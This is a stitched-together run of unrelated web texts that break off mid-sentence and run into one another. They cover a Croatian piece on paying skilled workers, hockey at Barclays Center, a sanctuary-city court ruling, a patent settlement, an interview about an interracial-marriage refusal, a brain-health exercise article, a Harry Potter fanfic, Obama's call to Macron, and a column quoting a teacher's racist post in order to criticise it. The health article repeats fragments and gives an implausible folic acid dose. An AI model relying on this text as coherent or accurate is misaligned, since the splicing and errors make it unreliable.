Koliko god neki poslodavci kmečali, nedostatak radnika je upravo način koji će omogućiti kvalitetnim poslodavcima napredak, a onima koji su računali na jeftine jadne radnike koji rade za minimalno – nestanak s poduzetničke scene. Što, uopće nije loše, jer će se otvoriti više mjesta za kvalitetne. Oni koji nisu plaćali radnike, ili ih iskorištavali do maksimuma – u biti su predstavljali svih ovih godina nelojalnu konkurenciju onima koji cijene svog radnika.
Stručnjak košta
U Americi – stručnjak košta. U Kanadi – stručnjak košta. U Njemačkoj – stručnjak košta. I pri tome pod „stručnjak“ smatramo i kvalitetnog predavača i dobrog pravnika, ali i dobrog, upućenog konobara koji zna posao i koji će ekipi uz večeru u tri slijeda „uvaliti“ i nekoliko butelji skupog vina na kojemu se izvrsno zarađuje – i sve će to napraviti na način da su gosti zadovoljni, uredno plate večeru, te ostave konobaru pristojnu manču.
Naravno, postoje mjesta za sve – dok će pomalo nespretni student koji glumi pomoćnog konobara na nekom baru na plaži svojom nespretnošću još ispasti i zabavan (i neka je tu i neka zaradi za sebe!), u restoranu s bijelim stolnjacima i srebrninom na stolu, gdje se otvaraju butelje od 100 € za sedam i pol deci – takav nema što raditi.
Isto kao i kuhar – ako želite nekoga tko zna posao i koji će napraviti večeru tako da će Hans ili Pavel odlučiti doći u vašu konobu još par puta do kraja ljetovanja – da taj kuhar košta. Koliko? Pa puno više, možda i nekoliko puta više od onoga koji rutinski obavlja svoj posao kao da je menzi. Trebate čovjeka koji će vam ispuniti nekakvu prijavu za veliki EU-projekt koji vrijedi milijune i to na način da projekt prođe i novci se dobiju? Zašto mislite da će takav raditi za prosječnu plaću? Zato jer sjedi u klimatiziranom uredu i ne znoji se – pa takav se prilično oznojio za svoj |
of one of New York’s major transit hubs. The area around the arena has plenty of shopping outlets, restaurants, fast food services, and other forms of entertainment.
The only question mark that is attached to the arena is its sight-lines for hockey. Nassau Coliseum has some very good sight-lines for hockey, but an arena that was originally built for a basketball team might not be optimal for hockey games.
The Islanders will play the New Jersey Devils in an exhibition game at the Barclays Center before the 2012-2013 NHL season begins and many questions about the arena’s ability to host hockey games will be answered. Even if the arena has a small capacity for hockey games (14,000), the venue could always be changed to cater to a bigger crowd.
If Bettman is concerned that the Islanders will lose their fans if they move to Brooklyn, then that is fair game, but the old saying of “if you build it, they will come” rings true in this situation. The Islanders could gain some new fans in Brooklyn just like the Nets could gain new fans when they move to the Barclays Center. There are many Rangers, Devils, and Sabres fans in the greater New York area, but the Barclays center would be a perfect location for a sports franchise as it is located in the heart of a center of commerce.A federal judge in California on Monday permanently blocked President Trump’s executive order to withhold federal funding from sanctuary cities that do not cooperate with U.S. immigration authorities.
U.S. District Court Judge William Orrick ruled that the White House does not have the authority to impose new conditions on spending already approved by Congress.
“The Counties have demonstrated that the Executive Order has caused and will cause them constitutional injuries by violating the separation of powers doctrine and depriving them of their Tenth and Fifth Amendment rights,” the judge wrote in his order.
The latest decision is in line with the argument Orrick made in April that temporarily halted the administration’s attempt to crack down on sanctuary cities, prompting an appeal.
Trump has campaigned on ending sanctuary cities. He issued an executive order that called on cutting federal funds from cities as a penalty for shielding illegal immigrants.
"The District Court exceeded its authority today when it barred the President from instructing his cabinet members to enforce existing law," a Department of Justice spokesman said in a statement. "The Justice Department will vindicate the President's lawful authority to direct the executive branch."
The judge’s ruling on Monday came after two California counties, San Francisco and Santa Clara, filed lawsuits against the Trump administration.
"President Trump might be able to tweet whatever comes to mind, but he can't grant himself new authority because he feels like it," San Francisco City Attorney Dennis Herrera said in a statement, adding that the ruling was “a victory for the American people and the rule of law.”
A DOJ lawyer argued in April that the initiative would only apply to a few federal grants, barely affecting the funding in the two counties that filed the lawsuits.
But the judge disagreed, saying the order was written vaguely and could “reach all federal grants” – potentially leading to cutbacks of millions of dollars to Santa Clara and San Francisco.
The Associated Press contributed to this report.Remember the Rockstar Consortium? The group was formed by a handful of tech giants (including Apple, Microsoft, Ericsson and Sony) to buy a treasure trove of patents and promptly sue both Google and some Android partners, which promised one of the bigger legal battles in recent tech history. Well, it's not going to be as dramatic as first thought -- Google has agreed to settle its part of the lawsuit. The terms of the deal aren't available and will take a few weeks to hash out, but it's likely that Google is forking over some cash to Rockstar given that Cisco did the same earlier in November. It's also unclear if ASUS, HTC, Samsung and other manufacturers have reached their own settlements. However, it's hard to see them keeping up the fight for much longer when Google itself is out of the picture.A justice of the peace in Louisiana who has drawn widespread criticism for refusing to issue a marriage license to an interracial couple says he has no regrets about his decision.
"It's kind of hard to apologize for something that you really and truly feel down in your heart you haven't done wrong," Keith Bardwell told CNN affiliate WAFB on Saturday.
The couple at the center of the controversy, Terence McKay and Beth Humphrey-McKay, are now married and fighting to get the justice’s license revoked. They spoke to Kiran Chetry on CNN’s “American Morning” Monday. Below is an edited transcript of the interview.
Kiran Chetry: What’s the latest with this justice of the peace who refused to marry you?
Terence McKay: I’m completely still in shock. I’m thankful for the justice of the peace that did marry us.
Beth McKay: I guess he just won't resign, won’t stand down, and he won't apologize. So that's his stance right now.
Chetry: Beth, you were the one that experienced this firsthand, because you spoke to his wife and you were going through the whole rigmarole. You had to say who you were, when you wanted to go there, what your plans were, and then she asked you, “Are you an interracial couple?” How did that happen?
Beth: That's exactly how it happened. At the end of the conversation, she said, “I have a question to ask you. Is this an interracial marriage?” I was shocked, and I said, “Excuse me?” She said, “Is this an interracial marriage?” And I said, “Yes, ma'am.” And she said, “Well, what's the deal? Is he black, are you black?” So I answered her questions and she just said, “Well, we don't do interracial marriages.”
Chetry: The governor of your state, of Louisiana, Bobby Jindal, basically says that this guy's license should be revoked. There have been others who have joined that, Senator Landrieu as well, and I'm sure public opinion is certainly on your side. What do you think of the fact that he continues to maintain that he did nothing wrong by what he says is just following his heart?
Official: No regrets in nixing interracial marriage
Terence: Well, everyone is entitled to their own opinions, but he's absolutely wrong on all aspects of his stance. He's saying the only reason he doesn't marry interracial couples is because of the offspring of the marriages. But if it wasn't for interracial couples today, we wouldn't have our president. So for him to take that outlook, that's still like 1800s or something.
Chetry: What's been the reaction from people in the town, who have heard about this situation?
Beth: A lot of people have come up to us and said, “We're in interracial relationships as well,” not just black and white, and just encouraged us to stand up for our rights and speak out against things like this.
Chetry: You've been together for nine months and lived in this area for some time. Have you had any other bad experiences where you felt like people were judging you because you were together and happen to be of different races?
Terence: Not so very obvious. You do have some slight undertones, especially dealing with southern states, but nothing that's been so blatantly obvious as this. But this totally caught us completely off guard. We’re just trying to live our lives.
Chetry: And I know you said you were going to reach out to the U.S. Justice Department. The national Urban League was going to do the same. Has there been any movement legally in terms of getting Mr. Bardwell's license revoked or anything along those lines?
Beth: We've retained an attorney and we're in the process of taking the next steps in order to make sure that he loses his job.Neuroplasticity was a relatively unknown term until the 1970s when scientists began accepting the notion that our brain is a not a physiologically static organ, becoming fixed shortly after birth with approximately 100 billion neurons (nerve cells) (1, 2). Over the past 15 to 20 years, this field of study has expanded dramatically given the discovery of various compounds capable of changing both brain structure and function throughout life and how each is positively impacted by exercise, physical activity and even mental exercises (3, 4).
Perhaps the most impressive success story connecting exercise to improved brain function is the Learning Readiness Physical Education Program, founded as the Zero Hour PE program at Naperville Central High School in Chicago in the 1990s (5). The original purpose of the program was to examine whether working out before school would improve a student’s learning capacity in the classroom. Since the program’s inception and through its evolution, students in this school district now rank among the fittest and smartest in the nation. In fact, this district’s eighth graders have outperformed the US national average on the Trends in International Math and Science Study (TIMMS), even beating out many students in China, Japan and Singapore who have traditionally outranked American students. So what is going on?
Daniel Lieberman, a paleoanthropologist at Harvard University, has been researching human evolution and has demonstrated how our brain and skull have evolved over time in order to preserve our survival as a species (6). Our need to think, process, strategize, hunt in teams, and function and communicate within social groups has spurred growth within various regions of our brain and improved our overall brain function. This growth of our brain, especially specific regions like the frontal lobe which is connected to conscious thinking, decision-making, planning, judgment, analysis and inhibition, continues into our modern era.
Our brain can also suffer losses and shrink in the form of decreased mental efficiency and memory decline as we age. In fact, memory loss is cited as a primary cognitive complaint in older adults. It is estimated that approximately 10% of adults over the age of 65 years have some form of cognitive impairment and this statistic increases to approximately 50% of adults over the age of 80 years (7). Although this decline is generally attributed to overall physiological losses within our brain cells, the potential impact of disease (e.g., Alzheimer’s), an overall lack of brain use, or the effect of depression or medications, the key biological risk factors associated with these declines include:
Oxidative stress – our brain utilizes approximately 20% of the body’s oxygen supply and over time, the accumulation of free radicals may result in damage to DNA and essential lipids within the brain that triggers neuronal death.
Inflammatory agents accumulate in the brain. Generally, they are filtered out by our blood brain barrier (BBB), a fine capillary network separating cerebral blood flow from systemic circulation. With aging, we experience less filtration of many inflammatory agents (e.g., cytokines like interleukin-1 beta) which can destroy neurons and inhibit neurogenesis (the growth of new neurons).
Elevated levels of homocysteine, a naturally occurring amino acids found in plasma promotes atherosclerosis within vessels, thereby reducing cerebral blood flow, memory and overall brain volume.
Hormonal imbalances and hormonal losses within the body – key steroid hormones like estrogen, testosterone and dehydroepiandrosterone (DHEA) collectively help preserve cognitive ability but decrease with aging.
Declining cerebrovascular health – healthy blood vessels and elevated HDL-cholesterol levels facilitate blood flow into the regions of the brain like the gray matter.
Hypertension – small capillaries within the brain are susceptible to damage caused by chronically-elevated blood pressure.
Diabetes and insulin-resistance – hyperglycemia and the inability to utilize glucose has been linked with lower levels of neuronal growth factors, decreased brain volume, and higher incidence of dementia.
Stress and anxiety trigger greater sustained levels of cortisol which can damage brain tissue (discussed later in this article).
Many of these triggers to cognitive decline are inevitable, but can we slow down, stop or even reverse these age-related decreases? The answer is yes, and an ever-growing list of compounds continues to be discovered that collectively lead to improved brain health and function. Interestingly, these compounds appear to be more important in some regions of the brain versus others. For example, the hippocampus, a region of the brain involved in converting short-term information into long-term knowledge, losses its mass and capacity as we age, but is significantly impacted by increased levels of some of these compounds (2, 8-10).
Brain-derived Neurotropic Factor (BDNF) is perhaps the most important as it stimulates neurogenesis and increases dendrite (nerve ending) length, thickness and density which improves nerve connectivity, especially in the hippocampus. BDNF strengthens and cleans synapses (junctions between two nerves), enhances synaptic efficiency, and increases synaptic mapping (connectivity between neurons and new circuits to offset lost circuits). (Find out more on BDNF and exercise.)
is perhaps the most important as it stimulates neurogenesis and increases dendrite (nerve ending) length, thickness and density which improves nerve connectivity, especially in the hippocampus. BDNF strengthens and cleans synapses (junctions between two nerves), enhances synaptic efficiency, and increases synaptic mapping (connectivity between neurons and new circuits to offset lost circuits). (Find out more on BDNF and exercise.) Vascular Endothelial Growth Factor (VEGF) helps build new capillaries within the brain, improving oxygen and glucose delivery to the various regions of our brain.
helps build new capillaries within the brain, improving oxygen and glucose delivery to the various regions of our brain. Fibroblast Growth Factor-2 (FGF-2) stimulates brain tissue growth by improving synaptic efficiency and the affinity neurons may share for each other to facilitate learning and retention.
stimulates brain tissue growth by improving synaptic efficiency and the affinity neurons may share for each other to facilitate learning and retention. Insulin-like Growth Factor-1 (IGF-1), manufactured within muscle cells, it is pushed into the brain and helps increase glucose uptake into cells, thereby providing the fuel needed by BDNF.
So how do we spark increases of these compounds? A good majority of research has focused upon the effects of exercise on increasing levels of these compounds (10). Low-to-moderate intensities of cardio stimulate increases BDNF, but little increases in IGF-1. By comparison, moderate-to-vigorous intensities of cardio (> 65% of VO 2 max) increases levels of BDNF, VEGF, FGF-2, IGF-1, and even human growth hormone (HGH) which contributes to building brain mass. Resistance training performed two times a week also demonstrates increases in BDNF, VEGF, FGF-2, IGF-1 and HGH. Exercising daily versus on alternate days results in greater increase in BDNF (150% v. 124%), but levels become equal after about four weeks of training (10). Exercise also improves the efficiency of our BBB and promotes greater balance between many of our brain’s neurotransmitters like serotonin, dopamine, norepinephrine, glutamate and GABA, which will positively affect moods and cognition.
Although much research points towards 30-minutes of exercise, two to three times a week, John Ratey, author of Spark and A User’s Guide to the Brain (3, 11), cites that just eight to twelve minutes a day of exercise that evokes a sweat and labored-breathing (i.e., approximately 60% of maximum heart rate or higher) is adequate to demonstrate increase in many of these compounds like BDNF. Furthermore, the inclusion of cross lateral patterns (XLP) (i.e., movement crossing over the body or involving contralateral limbs) helps strengthen the corpus callosum, which is essentially the glue that connects the left and right cerebral hemispheres and facilitates interhemispheric communication.
To expand the versatility of any brain-boosting programs you may seek to implement, consider incorporating mental exercises into your programs (they might also offer a welcomed break from physical fatigue):
Mental exercises, regardless of whether they are performed using a mobile brain function application (e.g., Luminosity) or manually, can also stimulate increases in some brain-building compounds. The idea is to (a) challenge your brain to complete tasks in non-conventional manners or (b) complete tasks by incorporating multiple regions of the brain simultaneously:
Backward Digit Span – counting numbers backwards in set intervals (e.g., intervals of 7 from 100) as quickly as possible.
Backwards Word Spell – spell words backwards and out loud (no writing), and progressively increase the length and challenge of the words (e.g., world, hospital, responsibility).
Sequenced Information Games – where a sequence of names (e.g., Fred, Stacy, Richard, Stanley, Ida, Edward) are written down after which the individual is challenged to complete various tasks from memory: Recite backwards Arrange alphabetically Arrange by word length
Tasking Challenges – completing a sequence of tasks and continuing to perform each task until it has to be replaced by another task. (Note, multiple verbal or physical tasks can be performed simultaneously.) Upon completing all tasks, individuals are asked to recall a specific task (e.g., what was the 3 rd task?). This question can be asked immediately or at some later stage in the session. Count backwards from 10 Wave hands above your head March in place Snap your fingers Recite the alphabet backwards Stomp your feet
task?). This question can be asked immediately or at some later stage in the session.
Stress and Cortisol: Unfortunately, many of us live a life where chronic psychological stress and sustained, elevated levels of cortisol are considered the norm. These sustained levels of cortisol impair cells within the hippocampus involved with short-term learning and long-term memory. Ultimately, this can damage and shrink the hippocampus due to free radical attacks that destroy and shorten dendrites, decrease levels of BDNF, reduce neurogenesis, and increase neural atrophy. In this case, the amygdala, a region overseeing much of our emotions may begin to exert more control over learning and over the hippocampus, which increases our emotional stress levels, furthering increasing cortisol, and so goes this vicious cycle.
Furthermore, elevated levels of cortisol may also impede our transition to stage 4 sleep (delta or deep sleep) at night, an important phase of sleep where the brain usually converts short-term learning into long-term memory, and where HGH levels help build and repair tissue (e.g., brain mass). Cortisol can also directly inhibit HGH release from the pituitary gland by stimulating the release of somatostatin, a growth hormone inhibiting hormone, from the hypothalamus. It appears, therefore, that any brain-boosting attempts, either through mental and physical exercise, or even both, may be almost futile without some effective stress coping modalities.
Brain Food: Do foods exist that can boost our brainpower? Although researchers cannot make that claim unequivocally, certain foods do appear to promote some potential benefits:
Antioxidants, like polyphenols found in green tea and anthocyanins (red, purple, or blue pigments found in flowers, fruits, leaves, stems, and roots like dark berries, red cabbage and eggplant), may prove effective in fighting free radicals.
Fish oils (1,200 mg eicosapentaenoic acid, 200 mg docosahexaenoic acid) seem to reduce rates of cognitive decline and the risks of developing dementia.
Folic acid (800 mg), and vitamin B 6 and B 12 (to a lesser degree) can reduce levels of homocysteine in our blood.
and B (to a lesser degree) can reduce levels of homocysteine in our blood. Moderate intakes of caffeine can help preserve our BBB and perhaps also reduce levels of plasma amyloid-beta, a protein structure associated with Alzheimer’s disease.
Healthy sources and dosages of glucose, which provides fuel to the brain though the insulin response must also be considered. Because insulin is responsible for nutrient uptake (including amino acids) into cells and considering the fact that muscle cells don’t care much for tryptophan, insulin surges can result in increased tryptophan entering the brain. This in turn can increase serotonin production. However, the inclusion of branched-chain amino acids throughout the day is believed to compete with tryptophan and reduce the amount passing through the BBB – essentially reducing the fatigue-inducing effect of tryptophan and helping to keep the brain focused and alert (12).
In closing, although we are well aware of the mind-body connection of exercise, research supporting exercise’s brain-boosting benefits continues to expand as we discover new compounds that improve overall brain structure and function. Why not consider expanding your services and programs to address, or perhaps even emphasize (for some), the critical psycho-emotional domains that are often neglected with traditional programming. Remember however, that an effective mind-body program may only be as good as the stress-coping mechanisms included, so don’t just train hard, train smart.
References:Mr and Mrs. Evans lived a happy and peaceful life in a small town named Cokeworth, they had two daughters, Petunia and Lily who also lived a relatively peaceful life thanks to the peaceful neighbourhood. All this changed though, when at the age of 9 Lily met a boy named Severus who told her that she was a witch. Petunia did not like this, she saw Severus as a threat to her relationship with her sister and out of some misguided love for her sister she tried to keep Lily away from the boy. When Lily received her Hogwarts letter in 1971, Petunia started envying Lily and the attention she got from their parents, both of whom, were proud that their youngest was a witch. Petunia even wrote a letter to Dumbledore asking if she could attend the school with Lily but Dumbledore denied her request kindly because she was a muggle. Dumbledore’s kind words made no amends between the two sisters and through the years Petunia’s envy turned into hatred and she began hating Lily and all things magical.
August 1976
“You’re not going back!” Petunia shrieked, envious and enraged.
“Tuney, we’re not doing this again, please.” Lily said in a low voice, sadly.
“You’re a freak Lily! And if you leave this house tomorrow then I’ll never ever talk to you again. I’ll forget that I ever had a sister.” She said, seriously before storming out of the room.
Lily silently continued to pack her things into the trunk and decided to leave the house early in the morning.
At dawn, Lily bid farewell to her parents like she had been for five years but something felt missing, she tried knocking on Petunia’s door to bid her farewell, but it was in vain because she never answered. In tears Lily head to King’s Cross station alone, for the first time in half a decade. Severus, her oldest friend in town wasn’t travelling with her anymore.
As she got on a bus and looked back at Cokeworth, her hometown, she realized that she had grown out of it because it didn’t feel like home, not anymore.
One month later,
“Hello Remus.” Lily greeted her study buddy, as her eyes went wide on seeing the two most unlikely people sitting beside him on either sides.
“Hiya Lily.” Remus replied as James and Sirius stumbled off of their stools out of sheer nervousness.
“If you don’t mind me asking Remus, what are they doing here..?” Lily asked, brutally blunt.
“Oh they’re just here to study, like us. It is time for them to do well in their O. W. L. (Ordinary Wizarding Level) test if they ever hope to take up N. E. W. T. (Nastily Exhausting Wizarding Test) level subjects after Christmas break.” Remus replied, smiling as beads of sweat rolled down his jaw.
“Listen, Lily… If we’re bothering you, just tell us and we’ll do this with Moony some other time, alright..?” Sirius said, calmly and with confidence.
“Alright. Thank you Sirius, for being considerate…” A grin took over Sirius’ face before,
“For once.” Lily continued, stripping Sirius’ face of the smile.
“You’ve got nothing to say Potter..? Rather peculiar, this behaviour of yours.” Lily asked James mockingly, as she glared at him with a sly smile.
“You know what..? I do have something to say, Moony this was a bad idea and I’m sorry it didn’t work out, let’s do this back at the dorm. Let’s go Padfoot.” James told Remus, before he got up from his stool, glared at Lily, grabbed Sirius’ cloak and dragged him away.
“See ya around Evans.” Sirius said as he teased Lily by sticking his tongue out while James continued to drag him away.
“Ignore them Lily. So… How was your Summer..?” Remus asked Lily as he saw her barely holding onto her composure.
“Oh… Yeah, it was okay. Yours..?” Lily counter-questioned to get away from her memory of leaving home and inadvertantly putting Remus on the spot.
“Well…”
“Forget about it. I know you don’t like lying to me. So don’t.” Lily smiled, as she cut off Remus and patted his shoulder from across the table.
“Let’s get to it then.” Remus said as Lily sat across him and both of them dived into An advanced guide to Transfiguration.
After an hour of studying, Lily broke her silence,
“A break..? Remus..? Please.” Lily pleaded exhaustively.
“Sure, why not..?” Remus agreed as he used his wand as a bookmark and closed the book.
“Why are you still friends with them..?” Lily blurted out the question she was holding in for over an hour.
“I know they can be rather…”
“Daft!”
“Haha yes daft. But they’re my friends and I would do anything for them just like they would do anything for me.” Remus said, chuckling as Lily’s face reddened with rage.
“They’re bullies Remus! They’ve been bullying Severus for…” Lily stopped as she remembered that she wasn’t friends with Severus anymore.
“You alright..?” Remus asked, concerned.
“Yeah, no I’m fine.” Lily replied as the realization that she did not have the one friend who always had her back set in, once more.
“I heard what happened between you two. And to be honest, I’ve never approved of James and Sirius’ treatment of Severus, but with that in mind, what I also know, is that you are not a Mudblood, I don’t know anyone else who’s as good as you at charms and I know that Severus calling you that, must’ve stung, but I’m glad you ended your friendship with him because what he called you, truly was, unforgivable. If on the other hand, you’re silent because you feel like this is truly the first time you don’t have an old friend at Hogwarts, then I’m bummed.” Remus spoke, with honesty and clarity.
“Why would you be bummed about this..?”
“Because we’re old friends aren’t we..? Or do you still think that I am friends with you because of some diabolical plan to set you up with James..?” Remus asked, with a sly grin that made Lily smile.
“You’re my friend Remus. You’ve always been my friend. And that’s why I don’t understand why you hangout with Mr. Toerag..?” Lily asked, inquisitively, her crimson hair slowly making their way out of her bun because of her expressive head movements.
“He’s good at heart Lily. I know you don’t see it because he has always been the person who bullies your friend. But if you try and remove the spectacles of scorn you will see exactly why he’s one of my best friends.” Remus replied as he reopened his textbook.
“Yeah, right.” Lily replied smiling, her tone a mix of stoic and sarcastic.
“You two! Over there!” They heard a voice that made them startle with fear.
“Get out of the library!” They heard Mrs. Prince, the Hogwarts librarian order them, her eyes filled with contempt.
Being obedient students, both Remus and Lily stood up and left the library silently, with their heads hanging with shame.
“I’m sorry Lily.” Remus broke the ice as they walked out into the hall.
“Sorry..? Why..? That was brilliant! Another thing cut off my bucket list!” Lily said, overjoyed.
“Your bucket list..?” Remus asked, intrigued.
“Yeah. I’ll tell you about it some other time. I’m going to Hagrid’s, you want to come along..?” Lily asked, smiling.
“No. You go on Lily.” Remus turned her down, as he didn’t trust his behaviour so close to a full moon.
“Alright. No matter. See ya around Moony.” Lily mocked him and smiled before walking away.
“Have a good evening Evans!” Remus retorted loudly before realizing that he was still at the Library’s door and caught a glimpse of The Librarian making her way to him through the bookshelves.
Back at the dorm,“
Padfoot, why do you think Evans hates me..?” James asked, as he looked out the window and saw the sun begin its descent beyond the lake.
“Well… You are a bullying toerag.” Sirius teased him by reminding him of what Lily called him.
“I’m serious Padfoot.”
“So am I…” Sirius continued to tease him as he looked at the Map and saw Lily make her way to Hagrid’s, right before Remus walked in.
“Hey Moony! How was it..? How did she react..? Did I make things worse..?” James’ usual rapid fire questioning after a meeting with Lily felt different that evening.
“Woah! Padfoot. Explain.”
“Why me..?” Sirius shrugged, exhaustively.
“Do you see anyone else here..?”
“No… But I’m sure Wormtail is scurrying around beneath his bed. Let’s just check first.” Sirius replied as he handed James the map.
“She’s heading towards H…”
“Hagrid’s. Yeah she told me.” Remus cut James off, slyly grinning.
“You know what enough of this! I’m heading out!” James said as he stormed out of the dorm.
“What happened to James..?” Peter asked as he reverted back to his human form behind Sirius and Remus, startling them.
“Told ya!” Sirius said, as he punched Remus.
“Are you two ever in your right minds..? You daft prats!” Remus said, as he realized that James might be getting serious about his feelings for Lily.
James swiftly made his way down the Grand staircases and turned into a stag as soon as he got out of the castle. He ran as his mind ran with him towards Hagrid’s hut, towards Lily. He finally saw Lily as she got out of the hut and headed towards the forbidden forest. Hiding behind trees, James watched as Lily set up targets not too far into the forest behind Hagrid’s hut.
She then began practicing,
“Stupefy!”
“Expelliarmus!”
She said with conviction as she tried to hit the targets hanging from the trees. Soon after, she started using spells without incantations, James was spellbound by the fact that Lily could perform nonverbal spells so early in the year. He slowly moved closer to her and watched as her red locks swayed in the wind, tameless and free, her emerald eyes shined at twilight as tears began to roll down her cheeks. After sunset, Hagrid came out into the woods and caught her crying.
“Are ya cryin Lily..!?” Hagrid asked as his looming shadow fell on Lily.
“Oh no. It’s nothing Hagrid. Should I head back..?” Lily asked, as tears continued to race down her cheeks.
“What is it..? Tell me.” Hagrid said as he got down on his knees to look Lily in her eyes.
“My sister hates me Hagrid! Here I am practicing spells at nightfall to protect her from the dark lord and she hates me!” Lily said crying as she hugged Hagrid, her hands only reaching a quarter way around him.
He then wiped her tears, hugged her and told her to get back to the castle before dinner and walked back to the hut.
As Lily walked back slowly, James followed her, not realizing how close he was, Prongs then stepped on something that made enough noise for Lily to notice.
Lily swiftly removed her wand and pointed it at the noise. Pleasantly surprised by her close proximity to a stag, Lily then did something that would seal James’ fate with hers, forever.
With grace she pointed her wand at Prongs and spoke calmly and clearly,
“Expecto Patronum.”
And out of the end of her wand burst out a shapeless, dazzling silver cloud that slowly and gracefully turned into a doe made completely of brilliant, silver light. Her patronus, then walked slowly towards Prongs and rubbed it’s head on his neck.
“Wow.” James heard Lily say as she saw her patronus interacting with Prongs like a stag and a doe naturally do.
James on the other hand, was frozen. This was the first time in years that he had seen Lily smile warmly whilst looking at him.
She began walking again as Prongs followed her, her patronus still walking with Prongs like he was its mate. As she almost reached the castle, Lily suddenly turned around and,
“Thank you Mr. Stag. I was sad because of a few things tonight, but then I met you. And look at me now!” Lily said, smiling as widely as she could, thinking that she is talking to a surprisingly tame stag.
Lily’s doe patronus then bowed in front of Prongs, and he soon followed suit making Lily clap in awe.
“Goodbye Mr. Stag.” Lily said, before her patronus disappeared into thin air and walking away as Prongs fell for the doe and James fell for Lily.
“Moony! Did you know Evans was training in secret..?” James asked as he barged into the dorm.
“Oh, do you mean Lily, Mr. Potter..?” Madam Pomfrey asked, smiling slyly.
“Oh! Good evening Madam Pomfrey.” James switched gears faster than a golden snitch.
“Padfoot! What happened..?” James whispered as he walked over to Sirius’ bed.
“Oh it’s nothing. There is no need to worry.” Remus replied, from his bed across the room.
“Shush Remus! You boys need to take care of him when it’s this close to the full moon, otherwise, I’ll have to keep him at the infirmary for a week before the full moon, every month.” Madam Pomfrey said with her signature concerned yet stern tone.
Soon, Madam Pomfrey left the dorm and it was time for dinner. After a hearty argument, Peter and Sirius reluctantly climbed out of their beds and head down to the great hall.
“James, where were you this evening..?” Remus asked, his voice clearly drained because of his fever.
“I was near Hagrid’s hut. I wanted to see her Moony.” James replied as he replaced the wet cloth on Remus’ forehead in an attempt to bring down the fever.
“Did you..?” Remus asked as he flinched because of the cold he felt on his forehead.
“I did. I don’t know what’s happening to me Moony, last year Evans was just a girl from my class that I liked annoying but this year it’s different. This year, I feel drawn to her in a way I have never been drawn to anyone before.” James said, seriously as he removed the cloth and checked Remus’ fever.
“Lily is special, she always has been. Tell me what changed..?” Remus asked, now as Lily’s friend.
“Ever since she broke off her friendship with Sniv… Severus last year, something inside me has been eating away at me. I always thought I’d be happy when Lily broke off her friendship with him, but it seems I was wrong. But how could I be wrong..?” James asked, confused and vulnerable.
“James, I can’t believe I’m saying this but you’re as daft as the three of us when it comes to matters of the heart.” Remus said, as he slowly sat up in his bed and placed his hand on James’ shoulder.
“What do you mean..?”
“You feel bad because you think Snape and Lily would still be friends if you weren’t trying to hex him that day, but that is nonsense. You feel bad because Lily has never been just a girl in your class, she has always been more than that James and that’s why you feel bad about what happened because what happened, made her sad. And I’m not saying you should be hexing Severus because you know that I’ve always found your rivalry with him rather redundant, I’m saying Lily broke off her friendship with Severus because of what he called her and not what you did to him.” Remus said smiling before lying back down.
“What do I do Remus..?” James asked, his face flushed.
“You should ask her out, once more, seriously this time. And see where things go from there.” Remus replied, smiling.
“No I can’t. I shouldn’t, not until I become worthy of her.”
“You’re being daft James, just do it because there’s no point in postponing the inevitable.”
“No Remus. I’m saying we should train and join the order of the phoenix after we graduate, be better.” James said seriously as he thought of what Lily told Hagrid.
“Okay Prongs! I’m in.” Sirius replied, grinning at the foot of the door.
“Count me in as well.” Peter said, as he swiftly walked over to Remus and checked his fever.
“You don’t even know what we’re talking about Padfoot.” James said, smiling.
“I do. We’re doing whatever we can to set you up with Evans right..?” Sirius replied, grinning nervously.
“We’re going to train and join the order of the phoenix. To protect all those who need protection and keep the ones we love safe.” James said with conviction.
“Okay then. Now one of you please carry me down to the infirmary because I think the fever is getting worse.” Remus said, smiling before James picked him up and said,
“Guess I’ll have my dinner in the infirmary as well.” smiling as he always did when one of his friends helped him clear his clouded mind.
As soon as James and Remus left,
“So… Is Evans in the order of the phoenix or did I just read this whole conundrum wrong..?” Sirius asked Peter, confused.
“I don’t know. Goodnight Padfoot.” Peter replied seriously, before he turned into his Animagus form.
“I’ll kill you if I find you scurrying around my bed at night!” Sirius replied grimacing before lying down on his bed.
“That’s not a good way to bid someone goodnight you know.” Peter said as he returned to his human form |
not making any formal endorsement in advance of the run-off election on Sunday." And yet, the optics certainly imply just that.
The full statement below:
"President Obama spoke on the phone to Emmanuel Macron this morning. President Obama appreciated the opportunity to hear from Mr. Macron about his campaign and the important upcoming presidential election in France, a country that President Obama remains deeply committed to as a close ally of the United States, and as a leader on behalf of liberal values in Europe and around the world. An endorsement was not the purpose of the call, as President Obama is not making any formal endorsement in advance of the run-off election on Sunday."
Macron said Obama wanted to exchange views about the French presidential campaign and that the ex-president had stressed how important the relationship between the two countries was.
Macron's party "En Marche!" said in a statement that "Emmanuel Macron warmly thanked Barack Obama for his friendly call."
In a separate statement, Obama's spokesman added: "an endorsement was not the purpose of the call, as President Obama is not making any formal endorsement in advance of the run-off." Macron is the only candidate so far to have said he has talked with Obama, a popular figure in France.A fourth-grade teacher at Bennett Elementary School in Frenship ISD, which serves Lubbock, TX, has written, deleted, and faced widespread public shame for a Facebook post in which she details her anger at Eric Casebolt’s resignation and her support for a return to a bygone era in which blacks were formally segregated on one side of the town.
To reiterate, this Texas elementary school teacher saw the video screenshotted in the post she shared—saw a white agent of the state pull his gun on a bunch of teenagers while brutalizing a black girl’s bare body—and wrote:
This makes me ANGRY! This officer should not have had to resign. I’m going to just go ahead and say it... the blacks are the ones causing the problems and this “racial tension.” I guess that’s what happens when you flunk out of school and have no education. I’m sure their parents are just as guilty for not knowing what their kids were doing, or knew it and didn’t care. I’m almost to the point of wanting them all segregated on one side of town so they can hurt each other and leave the innocent people alone. Maybe the 50s and 60s were really on to something. now, let the bashing of my true and honest opinion begin... GO! #imnotracist #imsickofthemcausingtrouble #itwasagatedcommunity
It is essentially safe to say in 2015 that any time you hear someone saying “I’m not racist,” they’re hella racist. It’s the historically cancerous cousin of “I don’t mean to be rude.” It’s also phenomenal that the intellectual escapism around race in America is such that a white woman can see that video, write a post longing for the good old days when blacks didn’t have civil rights, and then honestly think she can claim not to be racist.
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Anyway, Karen Fitzgibbons is responsible to her workplace for her public communication: a statement from Frenship ISD reads, “If an employee’s use of electronic media interferes with the employee’s ability to effectively perform his or her job duties, the employee is subject to disciplinary action, up to and including termination of employment.” Well, I think overt and unapologetic racism interferes with an elementary school teacher’s abilities to effectively perform her duties as well—but as of Wednesday, Fitzgibbons is still teaching.
